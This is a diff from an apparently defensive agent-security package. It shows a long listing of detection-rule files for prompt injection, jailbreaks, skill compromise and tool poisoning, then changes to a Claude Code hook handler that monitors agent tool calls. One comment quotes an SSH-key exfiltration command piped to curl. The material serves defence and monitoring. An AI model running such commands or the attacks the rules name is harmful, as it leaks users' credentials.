  651. package/rules/prompt-injection/ATR-2026-00573-semantic-paraphrased-injection.yaml +2 -2
  652. package/rules/prompt-injection/ATR-2026-00579-mcp-tool-description-line-jumping-injection.yaml +3 -4
  653. package/rules/prompt-injection/ATR-2026-00584-indirect-injection-via-tool-response.yaml +4 -5
  654. package/rules/prompt-injection/ATR-2026-00700-structured-data-payload-injection.yaml +8 -3
  655. package/rules/prompt-injection/ATR-2026-00701-ipi-tool-output-xss-injection.yaml +4 -4
  656. package/rules/prompt-injection/ATR-2026-01000-context-ignore-fake-completion-prefix.yaml +2 -2
  657. package/rules/prompt-injection/ATR-2026-01001-direct-pi-instruction-override-secret-key.yaml +2 -2
  658. package/rules/prompt-injection/ATR-2026-01002-role-escalation-false-authority-claim.yaml +2 -2
  659. package/rules/prompt-injection/ATR-2026-01005-many-shot-repetition-override.yaml +2 -2
  660. package/rules/prompt-injection/ATR-2026-01006-payload-split-string-concat-injection.yaml +2 -2
  661. package/rules/prompt-injection/ATR-2026-01007-token-repeat-flooding-injection.yaml +2 -2
  662. package/rules/prompt-injection/ATR-2026-01009-virtual-world-bypass-fictional-pii.yaml +3 -3
  663. package/rules/prompt-injection/ATR-2026-01012-encoding-evasion-decode-execute.yaml +2 -2
  664. package/rules/prompt-injection/ATR-2026-01013-language-evasion-multilingual-credential.yaml +2 -2
  665. package/rules/prompt-injection/ATR-2026-01015-evasion-refusal-suppression.yaml +3 -3
  666. package/rules/prompt-injection/ATR-2026-01016-evasion-response-priming-forced-opener.yaml +2 -2
  667. package/rules/prompt-injection/ATR-2026-01017-evasion-dual-response-split-output.yaml +2 -2
  668. package/rules/prompt-injection/ATR-2026-01018-evasion-shell-injection-eval.yaml +5 -5
  669. package/rules/prompt-injection/ATR-2026-01019-sysprompt-override-fake-diagnostic-mode.yaml +2 -2
  670. package/rules/prompt-injection/ATR-2026-01020-spikee-doc-embedded-base64-payload.yaml +3 -3
  671. package/rules/prompt-injection/ATR-2026-01021-spikee-doc-embedded-translation-injection.yaml +3 -3
  672. package/rules/prompt-injection/ATR-2026-01023-evasion-opposite-intent-negation-trick.yaml +2 -2
  673. package/rules/prompt-injection/ATR-2026-01024-evasion-persona-override-rule-breaker.yaml +2 -2
  674. package/rules/prompt-injection/ATR-2026-01025-evasion-hypothetical-fictional-execution-framing.yaml +3 -3
  675. package/rules/prompt-injection/ATR-2026-01026-evasion-unicode-glitch-token-anomaly.yaml +2 -2
  676. package/rules/prompt-injection/ATR-2026-01304-indirect-injection-carrier-important-override.yaml +4 -4
  677. package/rules/prompt-injection/ATR-2026-01757-hypothetical-framing-bypass-research-audit.yaml +3 -3
  678. package/rules/prompt-injection/ATR-2026-01758-hypothetical-fictional-story-bypass.yaml +3 -3
  679. package/rules/prompt-injection/ATR-2026-01759-dos-new-important-instructions-injection-in-document.yaml +2 -2
  680. package/rules/prompt-injection/ATR-2026-01771-semantic-jailbreak-framing.yaml +3 -3
  681. package/rules/prompt-injection/ATR-2026-01800-asb-trigger-marker-tool-coercion.yaml +4 -4
  682. package/rules/prompt-injection/ATR-2026-01860-llmail-chat-template-boundary-spoof.yaml +3 -3
  683. package/rules/prompt-injection/ATR-2026-01861-llmail-pseudo-xml-role-injection.yaml +3 -3
  684. package/rules/prompt-injection/ATR-2026-01865-llmail-fake-email-boundary-marker.yaml +3 -3
  685. package/rules/prompt-injection/ATR-2026-01900-output-encoding.yaml +2 -2
  686. package/rules/prompt-injection/ATR-2026-01901-output-scrambling.yaml +2 -2
  687. package/rules/prompt-injection/ATR-2026-01902-output-emoji.yaml +2 -2
  688. package/rules/prompt-injection/ATR-2026-01903-output-language.yaml +2 -2
  689. package/rules/prompt-injection/ATR-2026-01904-link-injection.yaml +15 -6
  690. package/rules/prompt-injection/ATR-2026-01905-promotional-injection.yaml +2 -2
  691. package/rules/prompt-injection/ATR-2026-01906-content-manipulation.yaml +4 -4
  692. package/rules/prompt-injection/ATR-2026-01920-access-grant-coercion.yaml +3 -3
  693. package/rules/prompt-injection/ATR-2026-01921-access-denial-inversion.yaml +3 -3
  694. package/rules/prompt-injection/ATR-2026-01922-authorization-state-spoofing.yaml +3 -3
  695. package/rules/prompt-injection/ATR-2026-01923-forged-input-boundary-markers.yaml +3 -3
  696. package/rules/prompt-injection/ATR-2026-01925-encoded-payload-decoding-coercion.yaml +3 -3
  697. package/rules/prompt-injection/ATR-2026-01926-cross-lingual-authorization-laundering.yaml +3 -3
  698. package/rules/prompt-injection/ATR-2026-02001-ignore-below-instructions-mirror-of-ignore-previ.yaml +3 -4
  699. package/rules/prompt-injection/ATR-2026-02002-instruction-set-probe-or-supplant-direct-meta-qu.yaml +3 -4
  700. package/rules/prompt-injection/ATR-2026-02003-task-pivot-override-abandon-the-cover-task-trans.yaml +3 -4
  701. package/rules/prompt-injection/ATR-2026-02004-regional-indicator-flag-emoji-alphabet-letter-sp.yaml +3 -4
  702. package/rules/prompt-injection/ATR-2026-02005-actor-never-breaks-character-roleplay-dan-style-.yaml +3 -4
  703. package/rules/prompt-injection/ATR-2026-02006-fuzzy-cross-lingual-i-have-been-pwned-near-miss-.yaml +3 -4
  704. package/rules/prompt-injection/ATR-2026-02007-bare-key-elicitation-token.yaml +3 -4
  705. package/rules/prompt-injection/ATR-2026-02008-translation-chain-output-laundering-state-secret.yaml +3 -4
  706. package/rules/prompt-injection/ATR-2026-02009-bare-key-elicitation-trailing-colon.yaml +3 -4
  707. package/rules/prompt-injection/ATR-2026-02010-emoji-only-payload.yaml +3 -4
  708. package/rules/prompt-injection/ATR-2026-02011-malformed-grammar-pwned-success-claim.yaml +3 -4
  709. package/rules/prompt-injection/ATR-2026-02012-movie-title-generator-instruction-wrapper-for-pw.yaml +3 -4
  710. package/rules/prompt-injection/ATR-2026-02013-delimiter-fence-ignore-instructions-override.yaml +3 -4
  711. package/rules/prompt-injection/ATR-2026-02014-spliced-target-string-letters-of-a-filtered-cana.yaml +3 -4
  712. package/rules/prompt-injection/ATR-2026-02015-dense-emoji-only-payload-flood.yaml +3 -4
  713. package/rules/prompt-injection/ATR-2026-02016-reversed-payload-string.yaml +3 -4
  714. package/rules/prompt-injection/ATR-2026-02018-regional-indicator-flag-emoji-letter-spelling-sp.yaml +3 -4
  715. package/rules/prompt-injection/ATR-2026-02019-python-interpreter-role-assignment-exec-framing.yaml +3 -4
  716. package/rules/prompt-injection/ATR-2026-02020-obfuscated-token-reconstruction-via-character-su.yaml +3 -4
  717. package/rules/prompt-injection/ATR-2026-02120-agentdojo-important-message-identity-spoof-pretext.yaml +2 -3
  718. package/rules/prompt-injection/ATR-2026-02210-negation-topic-evil-persona-two-script-jailbreak.yaml +2 -3
  719. package/rules/prompt-injection/ATR-2026-02230-conditional-keyword-trigger-override.yaml +2 -3
  720. package/rules/prompt-injection/ATR-2026-02232-brand-persona-opinion-hijack.yaml +2 -3
  721. package/rules/prompt-injection/ATR-2026-02374-rot13-base64-obfuscated-shell-jailbreak.yaml +3 -4
  722. package/rules/prompt-injection/ATR-2026-02377-novel-persona-jailbreak-cosignal.yaml +99 -0
  723. package/rules/prompt-injection/ATR-2026-02500-prompt-layer-self-replication.yaml +287 -0
  724. package/rules/prompt-injection/ATR-2026-02502-covert-remote-script-injection-into-generated-artifacts.yaml +209 -0
  725. package/rules/skill-compromise/ATR-2026-00060-skill-impersonation.yaml +4 -4
  726. package/rules/skill-compromise/ATR-2026-00061-description-behavior-mismatch.yaml +100 -9
  727. package/rules/skill-compromise/ATR-2026-00062-hidden-capability.yaml +12 -9
  728. package/rules/skill-compromise/ATR-2026-00063-skill-chain-attack.yaml +18 -7
  729. package/rules/skill-compromise/ATR-2026-00064-over-permissioned-skill.yaml +8 -6
  730. package/rules/skill-compromise/ATR-2026-00065-skill-update-attack.yaml +2 -3
  731. package/rules/skill-compromise/ATR-2026-00066-parameter-injection.yaml +11 -7
  732. package/rules/skill-compromise/ATR-2026-00120-skill-instruction-injection.yaml +6 -3
  733. package/rules/skill-compromise/ATR-2026-00121-skill-dangerous-script.yaml +8 -5
  734. package/rules/skill-compromise/ATR-2026-00122-skill-weaponized-instruction.yaml +3 -3
  735. package/rules/skill-compromise/ATR-2026-00123-skill-overreach-permissions.yaml +2 -3
  736. package/rules/skill-compromise/ATR-2026-00124-skill-name-squatting.yaml +2 -3
  737. package/rules/skill-compromise/ATR-2026-00125-context-poisoning-compaction.yaml +2 -3
  738. package/rules/skill-compromise/ATR-2026-00126-skill-rug-pull-setup.yaml +3 -2
  739. package/rules/skill-compromise/ATR-2026-00127-subcommand-overflow.yaml +2 -3
  740. package/rules/skill-compromise/ATR-2026-00128-html-comment-hidden-payload.yaml +2 -2
  741. package/rules/skill-compromise/ATR-2026-00129-unicode-smuggling.yaml +2 -2
  742. package/rules/skill-compromise/ATR-2026-00134-fork-claim-impersonation.yaml +3 -2
  743. package/rules/skill-compromise/ATR-2026-00135-exfil-url-in-instructions.yaml +2 -2
  744. package/rules/skill-compromise/ATR-2026-00147-fork-impersonation.yaml +2 -3
  745. package/rules/skill-compromise/ATR-2026-00149-skill-exfil-compound.yaml +7 -4
  746. package/rules/skill-compromise/ATR-2026-00151-fork-impersonation-install.yaml +2 -2
  747. package/rules/skill-compromise/ATR-2026-00157-timebomb-credential-exfil.yaml +2 -3
  748. package/rules/skill-compromise/ATR-2026-00200-agent-memory-config-tampering.yaml +4 -4
  749. package/rules/skill-compromise/ATR-2026-00214-credential-theft.yaml +2 -2
  750. package/rules/skill-compromise/ATR-2026-00217-credential-harvesting.yaml +7 -3
  751. package/rules/skill-compromise/ATR-2026-00220-malware-dropper.yaml +2 -2
  752. package/rules/skill-compromise/ATR-2026-00222-credential-harvesting.yaml +2 -2
  753. package/rules/skill-compromise/ATR-2026-00223-reverse-shell-dropper.yaml +2 -2
  754. package/rules/skill-compromise/ATR-2026-00224-credential-exfiltration.yaml +7 -3
  755. package/rules/skill-compromise/ATR-2026-00225-c2-communication.yaml +2 -2
  756. package/rules/skill-compromise/ATR-2026-00260-package-hallucination.yaml +3 -3
  757. package/rules/skill-compromise/ATR-2026-00262-av-evasion-code-gen.yaml +2 -2
  758. package/rules/skill-compromise/ATR-2026-00263-credential-file-read-gen.yaml +3 -3
  759. package/rules/skill-compromise/ATR-2026-00266-malware-dropper-gen.yaml +2 -2
  760. package/rules/skill-compromise/ATR-2026-00283-malwaregen-generic-virus-payload-request.yaml +2 -2
  761. package/rules/skill-compromise/ATR-2026-00398-huggingface-unsafe-model-artifact-load.yaml +4 -4
  762. package/rules/skill-compromise/ATR-2026-00425-nl-persistent-covert-hook.yaml +7 -4
  763. package/rules/skill-compromise/ATR-2026-00427-nl-fake-error-instruction-bypass.yaml +7 -4
  764. package/rules/skill-compromise/ATR-2026-00429-nl-skill-self-modification.yaml +6 -3
  765. package/rules/skill-compromise/ATR-2026-00523-claude-code-hooks-session-start-pre-trust-rce.yaml +5 -7
  766. package/rules/skill-compromise/ATR-2026-00525-mini-shai-hulud-gh-token-monitor-persistence.yaml +2 -2
  767. package/rules/skill-compromise/ATR-2026-00527-skill-silent-git-remote-mirror-exfiltration.yaml +3 -3
  768. package/rules/skill-compromise/ATR-2026-01755-backdoor-pot-linguistic-trigger-phrase.yaml +3 -3
  769. package/rules/skill-compromise/ATR-2026-01756-backdoor-pot-symbol-emoticon-trigger.yaml +4 -4
  770. package/rules/skill-compromise/ATR-2026-02261-code-credential-exfil-chain.yaml +3 -3
  771. package/rules/skill-compromise/ATR-2026-02405-malicious-skill-package-structure.yaml +276 -0
  772. package/rules/skill-compromise/ATR-2026-02410-malicious-artifact-on-vendor-domain.yaml +273 -0
  773. package/rules/tool-poisoning/ATR-2026-00010-mcp-malicious-response.yaml +12 -10
  774. package/rules/tool-poisoning/ATR-2026-00011-tool-output-injection.yaml +3 -4
  775. package/rules/tool-poisoning/ATR-2026-00012-unauthorized-tool-call.yaml +9 -6
  776. package/rules/tool-poisoning/ATR-2026-00013-tool-ssrf.yaml +8 -6
  777. package/rules/tool-poisoning/ATR-2026-00095-supply-chain-poisoning.yaml +13 -11
  778. package/rules/tool-poisoning/ATR-2026-00096-registry-poisoning.yaml +20 -18
  779. package/rules/tool-poisoning/ATR-2026-00100-consent-bypass-instruction.yaml +4 -5
  780. package/rules/tool-poisoning/ATR-2026-00101-trust-escalation-override.yaml +4 -5
  781. package/rules/tool-poisoning/ATR-2026-00103-hidden-safety-bypass-instruction.yaml +4 -5
  782. package/rules/tool-poisoning/ATR-2026-00105-silent-action-concealment.yaml +4 -5
  783. package/rules/tool-poisoning/ATR-2026-00106-schema-description-contradiction.yaml +3 -4
  784. package/rules/tool-poisoning/ATR-2026-00161-important-tag-cross-tool-shadowing.yaml +11 -8
  785. package/rules/tool-poisoning/ATR-2026-00209-mcpwn-runaway-invocation.yaml +4 -4
  786. package/rules/tool-poisoning/ATR-2026-00210-flowise-system-message-override.yaml +4 -4
  787. package/rules/tool-poisoning/ATR-2026-00259-ansi-escape-injection.yaml +2 -2
  788. package/rules/tool-poisoning/ATR-2026-00270-xss-in-tool-response.yaml +2 -2
  789. package/rules/tool-poisoning/ATR-2026-00277-echo-template-command-injection.yaml +3 -3
  790. package/rules/tool-poisoning/ATR-2026-00393-ansi-code-elicitation-request.yaml +4 -4
  791. package/rules/tool-poisoning/ATR-2026-00415-flowise-custom-mcp-stdio-rce.yaml +4 -4
  792. package/rules/tool-poisoning/ATR-2026-00419-cursor-mcp-zero-click-config.yaml +5 -5
  793. package/rules/tool-poisoning/ATR-2026-00434-mcp-remote-authorization-endpoint-command-injection.yaml +4 -4
  794. package/rules/tool-poisoning/ATR-2026-00435-azure-mcp-server-missing-authentication.yaml +4 -4
  795. package/rules/tool-poisoning/ATR-2026-00448-spring-ai-milvus-filter-injection.yaml +4 -4
  796. package/rules/tool-poisoning/ATR-2026-00494-garak-exploitation-mixedunassigned.yaml +2 -2
  797. package/rules/tool-poisoning/ATR-2026-00513-package-hallucination-exploitation.yaml +2 -2
  798. package/rules/tool-poisoning/ATR-2026-00521-shell-command-injection-agent-tool-context.yaml +2 -2
  799. package/rules/tool-poisoning/ATR-2026-00522-sql-injection-natural-language-agent-interface.yaml +2 -2
  800. package/rules/tool-poisoning/ATR-2026-00526-claude-code-shell-metachar-in-double-quoted-path.yaml +2 -2
  801. package/rules/tool-poisoning/ATR-2026-00529-litellm-proxy-sqli-cisa-kev.yaml +3 -3
  802. package/rules/tool-poisoning/ATR-2026-00530-ms-agent-shell-tool-unsanitized-argv-rce.yaml +2 -2
  803. package/rules/tool-poisoning/ATR-2026-00531-praisonai-unauthenticated-agent-api.yaml +4 -4
  804. package/rules/tool-poisoning/ATR-2026-00532-apache-doris-mcp-sql-injection.yaml +4 -4
  805. package/rules/tool-poisoning/ATR-2026-00533-apache-pinot-mcp-unauthenticated-takeover.yaml +4 -4
  806. package/rules/tool-poisoning/ATR-2026-00534-alibaba-rds-mcp-unauthenticated-metadata-exfil.yaml +4 -4
  807. package/rules/tool-poisoning/ATR-2026-00536-nginx-ui-mcp-unauthenticated-command-execution.yaml +5 -5
  808. package/rules/tool-poisoning/ATR-2026-00537-fastmcp-server-name-cmd-injection-windows.yaml +4 -5
  809. package/rules/tool-poisoning/ATR-2026-00538-langchain-chatchat-mcp-stdio-unauthenticated-rce.yaml +12 -9
  810. package/rules/tool-poisoning/ATR-2026-00540-praisonai-parse-mcp-command-cli-injection.yaml +9 -7
  811. package/rules/tool-poisoning/ATR-2026-00541-agent-zero-mcp-config-command-injection.yaml +5 -6
  812. package/rules/tool-poisoning/ATR-2026-00542-upsonic-mcp-command-allowlist-bypass.yaml +5 -6
  813. package/rules/tool-poisoning/ATR-2026-00543-litellm-mcp-server-argv-injection.yaml +5 -6
  814. package/rules/tool-poisoning/ATR-2026-00544-praisonai-pth-file-path-traversal-rce.yaml +4 -5
  815. package/rules/tool-poisoning/ATR-2026-00545-praisonai-tool-override-unauth-rce.yaml +4 -5
  816. package/rules/tool-poisoning/ATR-2026-00561-fastmcp-vulnerable-to-windows-command-in.yaml +2 -2
  817. package/rules/tool-poisoning/ATR-2026-00567-mcp-stdio-config-command-injection.yaml +2 -2
  818. package/rules/tool-poisoning/ATR-2026-00568-agent-ssrf-cloud-metadata-file-inclusion.yaml +2 -2
  819. package/rules/tool-poisoning/ATR-2026-00572-symjack-symlink-config-redirection.yaml +4 -4
  820. package/rules/tool-poisoning/ATR-2026-00575-miasma-npm-worm-agent-config-backdoor.yaml +5 -5
  821. package/rules/tool-poisoning/ATR-2026-00576-hades-agent-credential-theft.yaml +4 -4
  822. package/rules/tool-poisoning/ATR-2026-00577-create-mcp-server-stdio-exec-command-injection.yaml +55 -7
  823. package/rules/tool-poisoning/ATR-2026-00581-mcp-tool-rug-pull-post-approval-redefinition.yaml +5 -6
  824. package/rules/tool-poisoning/ATR-2026-00714-tool-camouflage-forced-tool-call.yaml +8 -3
  825. package/rules/tool-poisoning/ATR-2026-00715-tool-knowledge-hijack-identity-injection.yaml +8 -3
  826. package/rules/tool-poisoning/ATR-2026-00716-ipi-data-destruction-carrier.yaml +3 -3
  827. package/rules/tool-poisoning/ATR-2026-00720-tool-misuse-privilege-escalation-social.yaml +7 -2
  828. package/rules/tool-poisoning/ATR-2026-01300-mcp-notes-param-chat-history-exfil.yaml +6 -6
  829. package/rules/tool-poisoning/ATR-2026-01301-tool-description-exclusive-tool-override.yaml +4 -4
  830. package/rules/tool-poisoning/ATR-2026-01302-fake-tool-result-instruction-injection.yaml +4 -4
  831. package/rules/tool-poisoning/ATR-2026-01303-tool-schema-enumeration-social-engineering.yaml +4 -4
  832. package/rules/tool-poisoning/ATR-2026-01306-mcp-oauth-command-injection.yaml +4 -4
  833. package/rules/tool-poisoning/ATR-2026-01307-mcp-dns-rebinding-attack.yaml +4 -4
  834. package/rules/tool-poisoning/ATR-2026-01310-mcp-tool-description-compliance-history-exfil.yaml +4 -4
  835. package/rules/tool-poisoning/ATR-2026-01775-semantic-mcp-tool-manifest-poisoning.yaml +7 -7
  836. package/rules/tool-poisoning/ATR-2026-01927-mcp-server-kubernetes-kubectl-command-injection.yaml +5 -6
  837. package/rules/tool-poisoning/ATR-2026-01928-framelink-figma-mcp-curl-fallback-command-injection.yaml +4 -5
  838. package/rules/tool-poisoning/ATR-2026-01930-mcp-sampling-prompt-injection.yaml +5 -5
  839. package/rules/tool-poisoning/ATR-2026-01931-gemini-mcp-tool-command-injection-file-exfil.yaml +4 -4
  840. package/rules/tool-poisoning/ATR-2026-01932-shadow-undeclared-mcp-server-registration.yaml +4 -4
  841. package/rules/tool-poisoning/ATR-2026-01935-litellm-custom-code-sandbox-escape-cve-2026-40217.yaml +5 -6
  842. package/rules/tool-poisoning/ATR-2026-01952-praisonai-codemode-sandbox-escape-rce.yaml +3 -4
  843. package/rules/tool-poisoning/ATR-2026-01953-praisonai-codemode-function-ctor-sandbox-escape.yaml +3 -4
  844. package/rules/tool-poisoning/ATR-2026-01959-openhuman-shell-allowlist-env-prefix-bypass.yaml +48 -7
  845. package/rules/tool-poisoning/ATR-2026-01963-praisonai-action-orchestrator-step-target-path-traversal-rce.yaml +3 -4
  846. package/rules/tool-poisoning/ATR-2026-01965-flowise-custommcp-os-command-rce.yaml +3 -4
  847. package/rules/tool-poisoning/ATR-2026-01967-deepchat-mermaid-xss-rce-ipc-mcp-register.yaml +3 -4
  848. package/rules/tool-poisoning/ATR-2026-01968-deepchat-markdown-deeplink-openexternal-rce-bypass.yaml +5 -6
  849. package/rules/tool-poisoning/ATR-2026-01970-praisonai-filetools-normpath-path-traversal.yaml +11 -7
  850. package/rules/tool-poisoning/ATR-2026-01973-anythingllm-logo-endpoint-path-traversal.yaml +3 -4
  851. package/rules/tool-poisoning/ATR-2026-01978-anythingllm-collector-process-filename-path-traversal-delete.yaml +3 -4
  852. package/rules/tool-poisoning/ATR-2026-01979-pandasai-prompt-injection-dunder-sandbox-escape-rce.yaml +3 -4
  853. package/rules/tool-poisoning/ATR-2026-01980-agentic-flow-mcp-tool-param-command-injection.yaml +7 -5
  854. package/rules/tool-poisoning/ATR-2026-01982-dbt-mcp-node-selection-argument-injection.yaml +3 -4
  855. package/rules/tool-poisoning/ATR-2026-01983-mcp-for-stata-log-file-name-command-injection.yaml +3 -4
  856. package/rules/tool-poisoning/ATR-2026-01985-mcp-connect-bridge-unauth-process-spawn-rce.yaml +3 -4
  857. package/rules/tool-poisoning/ATR-2026-01987-langroid-sqlchatagent-prompt-to-sql-rce.yaml +3 -4
  858. package/rules/tool-poisoning/ATR-2026-02021-mcp-inspector-unauthenticated-proxy-rce.yaml +5 -6
  859. package/rules/tool-poisoning/ATR-2026-02022-curxecute-cursor-mcp-json-injected-server-rce.yaml +5 -6
  860. package/rules/tool-poisoning/ATR-2026-02023-escaperoute-filesystem-mcp-prefix-bypass.yaml +5 -6
  861. package/rules/tool-poisoning/ATR-2026-02024-escaperoute-filesystem-mcp-symlink-launchagent.yaml +5 -6
  862. package/rules/tool-poisoning/ATR-2026-02025-mcp-full-schema-poisoning-nondescription-field.yaml +7 -8
  863. package/rules/tool-poisoning/ATR-2026-02027-diagnostic-content-remediation-command-injection.yaml +2 -3
  864. package/rules/tool-poisoning/ATR-2026-02041-shell-injection-echo-marker-poc.yaml +2 -3
  865. package/rules/tool-poisoning/ATR-2026-02102-html-injection-tool-arg-approval-ui-xss.yaml +2 -3
  866. package/rules/tool-poisoning/ATR-2026-02141-mcp-server-config-command-execution.yaml +2 -3
  867. package/rules/tool-poisoning/ATR-2026-02145-python-sandbox-escape-generator-frame-introspection.yaml +2 -3
  868. package/rules/tool-poisoning/ATR-2026-02193-ssrf-ipv6-noncanonical-loopback-bypass.yaml +2 -3
  869. package/rules/tool-poisoning/ATR-2026-02194-go-init-func-process-exec-codegen-rce.yaml +2 -3
  870. package/rules/tool-poisoning/ATR-2026-02233-unscoped-destructive-db-request-nl.yaml +2 -3
  871. package/rules/tool-poisoning/ATR-2026-02260-agentjacking-remediation-framed-execution.yaml +6 -6
  872. package/rules/tool-poisoning/ATR-2026-02263-workflow-sql-template-expression-injection.yaml +2 -2
  873. package/rules/tool-poisoning/ATR-2026-02350-mcp-json-rpc-case-duplicate-key-tool-smuggling.yaml +2 -3
  874. package/rules/tool-poisoning/ATR-2026-02352-imap-search-command-injection-email-tool-args.yaml +2 -3
  875. package/rules/tool-poisoning/ATR-2026-02372-unsigned-task-feed-npm-npx-lifecycle-rce.yaml +4 -5
  876. package/rules/tool-poisoning/ATR-2026-02376-tool-description-conversational-trigger-history-exfil.yaml +4 -5
  877. package/rules/tool-poisoning/ATR-2026-02403-mcp-external-content-missing-spotlighting.yaml +356 -0
  878. package/spec/README.md +24 -16
  879. package/spec/atr-correlation-v1.0.md +2 -2
  880. package/spec/atr-event-v1.0.md +3 -3
  881. package/spec/atr-language-detection-v1.0.md +1 -1
  882. package/spec/atr-method-v1.1.md +2 -0
  883. package/spec/atr-observation-v1.0.md +323 -0
  884. package/spec/atr-profile-v1.0.md +4 -4
  885. package/spec/atr-schema.yaml +5 -3
  886. package/spec/category-registry/v1.0.yaml +2 -2
  887. package/spec/compliance-metadata.md +3 -2
  888. package/spec/conformance/README.md +4 -4
  889. package/spec/conformance/SIGNING.md +1 -1
  890. package/spec/conformance/baseline/manifest.json +1 -1
  891. package/spec/mappings/atr-to-nist-csf-2.0.md +3 -3
  892. package/spec/schema/correlation.schema.json +1 -1
  893. package/spec/schema/event.schema.json +1 -1
  894. package/spec/schema/observation.schema.json +131 -0
  895. package/spec/schema/profile.schema.json +1 -1
  896. package/spec/schema/rule.schema.json +1 -1
@@ -7,18 +7,54 @@
7
7
  * Supports a stdio JSON-lines loop for use as a Claude Code hook process.
8
8
  *
9
9
  * CRITICAL: Fail-open on all errors -- default to "allow" so a
10
- * bug in the guard never blocks legitimate agent operations.
10
+ * bug in the guard never blocks legitimate agent operations. `failOpen: false`
11
+ * flips the internal verdict to deny, but note that a deny only reaches the host
12
+ * when blocking is enabled (below); in advisory mode a fail-closed guard error
13
+ * is still reported without a permissionDecision, because advisory mode's
14
+ * contract is "ATR never votes on permission".
15
+ *
16
+ * BLOCKING IS OPT-IN. By default this handler emits detection facts and no
17
+ * permission decision at all: the PreToolUse payload omits
18
+ * hookSpecificOutput.permissionDecision and the PostToolUse payload omits
19
+ * `decision: 'block'`, so Claude Code applies exactly the flow it would use with
20
+ * no hook installed. Turning blocking on restores the historical severity +
21
+ * confidence matrix for deny and ask.
22
+ *
23
+ * It does NOT restore `permissionDecision: "allow"`, which no longer exists on
24
+ * any path: ATR emits a permission decision only to restrain an operation,
25
+ * never to approve one. See src/enforcement.ts.
11
26
  *
12
27
  * @module agent-threat-rules/hook-handler
13
28
  */
14
29
  import type { HookInput, HookOutput } from './types.js';
15
30
  import type { ATREngine } from './engine.js';
16
31
  import type { ActionExecutor } from './action-executor.js';
32
+ /** Options for the Claude Code contract mappers. */
33
+ export interface HookContractOptions {
34
+ /**
35
+ * Emit a real permission decision for verdicts that restrain (deny / ask).
36
+ * Defaults to FALSE (advisory): the payload carries ATR's findings but no
37
+ * permissionDecision / no `decision: 'block'`, leaving the host's own
38
+ * permission flow untouched. An `allow` verdict emits no decision either way.
39
+ */
40
+ readonly blocking?: boolean;
41
+ }
17
42
  export interface HookHandlerConfig {
18
43
  readonly engine: ATREngine;
19
44
  readonly executor: ActionExecutor;
20
45
  readonly timeoutMs?: number;
21
46
  readonly failOpen?: boolean;
47
+ /**
48
+ * Operator directive permitting ATR to emit a blocking permission decision.
49
+ * OFF BY DEFAULT, and this field is the only input — the handler does not
50
+ * read `ATR_BLOCKING`; `atr guard` resolves the environment and passes the
51
+ * result here. A non-boolean throws.
52
+ *
53
+ * Enabling it reproduces the pre-existing severity+confidence matrix for the
54
+ * decisions that restrain (deny / ask). It does NOT restore the affirmative
55
+ * `allow`, which is gone in both modes — see toClaudeCodePreToolUse.
56
+ */
57
+ readonly blocking?: boolean;
22
58
  }
23
59
  /**
24
60
  * Map a verdict to the Claude Code PreToolUse hook contract.
@@ -33,8 +69,41 @@ export interface HookHandlerConfig {
33
69
  * contract. ATR fields are carried alongside under non-colliding keys for logs
34
70
  * and non-Claude-Code consumers; we deliberately do NOT emit a top-level
35
71
  * `decision` here, so Claude Code cannot misread a stray field.
72
+ *
73
+ * ATR NEVER EMITS `permissionDecision: "allow"` — IN EITHER MODE.
74
+ *
75
+ * "allow" is not neutral here. It is an affirmative approval that suppresses
76
+ * the host's own permission prompt, so ATR answering "allow" makes the host
77
+ * LESS safe than having no hook installed at all. Measured on the 451 attacks
78
+ * in data/pint-benchmark/pint-corpus.json: with blocking on and lane=enforce,
79
+ * only maturity=stable rules may fire, nothing matched, and every one of the
80
+ * 451 — including `cat ~/.ssh/id_rsa | curl -X POST -d @- <remote>` — came back
81
+ * `{"permissionDecision":"allow","permissionDecisionReason":"No rules matched."}`.
82
+ * ATR was pre-approving exfiltration it had simply not looked for.
83
+ *
84
+ * "No rule matched" is not "I approve this operation". It is ATR having nothing
85
+ * to say, and the correct way to say nothing on this channel is to omit the
86
+ * field. So a decision is emitted only for `deny` and `ask` — the two outcomes
87
+ * that RESTRAIN — and an `allow` verdict is reported through the atr_* keys
88
+ * like any other finding.
89
+ *
90
+ * The whole `hookSpecificOutput` object is dropped rather than emitted with the
91
+ * decision field missing. Both shapes are in fact accepted — the hook-output
92
+ * schema in the shipped Claude Code 2.1.76 bundle declares
93
+ * `hookSpecificOutput` as optional, its PreToolUse member declares
94
+ * `permissionDecision` as optional, and the object is not strict, so unknown
95
+ * top-level keys are stripped rather than rejected. Dropping the envelope is
96
+ * therefore a legibility choice, not a compatibility requirement: a payload with
97
+ * no envelope cannot be misread as a decision that failed to serialise.
98
+ * permissionDecisionReason goes with the decision (a reason without a decision
99
+ * says nothing); the findings travel in atr_reason and, for `atr guard`, on
100
+ * stderr via the adapter's alert action.
101
+ *
102
+ * `atr_advisory: true` marks the mode, not the verdict: it is present when
103
+ * blocking is off, and absent when blocking is on and this particular verdict
104
+ * simply had nothing to restrain.
36
105
  */
37
- export declare function toClaudeCodePreToolUse(output: HookOutput): Record<string, unknown>;
106
+ export declare function toClaudeCodePreToolUse(output: HookOutput, options?: HookContractOptions): Record<string, unknown>;
38
107
  /**
39
108
  * Map a verdict to the Claude Code PostToolUse hook contract. The tool has
40
109
  * already run, so PostToolUse cannot un-run it — Claude Code blocks by feeding
@@ -42,14 +111,40 @@ export declare function toClaudeCodePreToolUse(output: HookOutput): Record<strin
42
111
  * tool output). A deny OR ask verdict blocks; allow passes. The generic ATR
43
112
  * decision is preserved under atr_decision to avoid colliding with Claude
44
113
  * Code's 'block' sentinel on the shared `decision` key.
114
+ *
115
+ * NO AFFIRMATIVE-APPROVAL PATH EXISTS HERE, and that was checked rather than
116
+ * assumed when the PreToolUse `allow` was removed. This contract has exactly
117
+ * one sentinel, `decision: 'block'`; the absence of the key IS the pass-through.
118
+ * There is no value this function could set that would suppress a host
119
+ * behaviour, so the only rule to keep is the one already in force: set the
120
+ * sentinel for deny/ask when blocking is on, and never otherwise.
121
+ *
122
+ * ADVISORY MODE (the default): the sentinel is never set, and the findings
123
+ * still travel in atr_decision / atr_reason / matched_rules.
124
+ */
125
+ export declare function toClaudeCodePostToolUse(output: HookOutput, options?: HookContractOptions): Record<string, unknown>;
126
+ /**
127
+ * The event name, under either spelling.
128
+ *
129
+ * Claude Code sends `hook_event_name` (verified against the shipped 2.1.76
130
+ * bundle). ATR's own fixtures, its docs and every integration test use `hook`.
131
+ * Reading only `hook` meant a real Claude Code event dispatched to the default
132
+ * branch and returned "Unknown hook type: undefined" without evaluating a
133
+ * single rule -- the hook was installed, printed its banner, and did nothing.
134
+ *
135
+ * Preferring `hook_event_name` matters: it is the one the host actually sends,
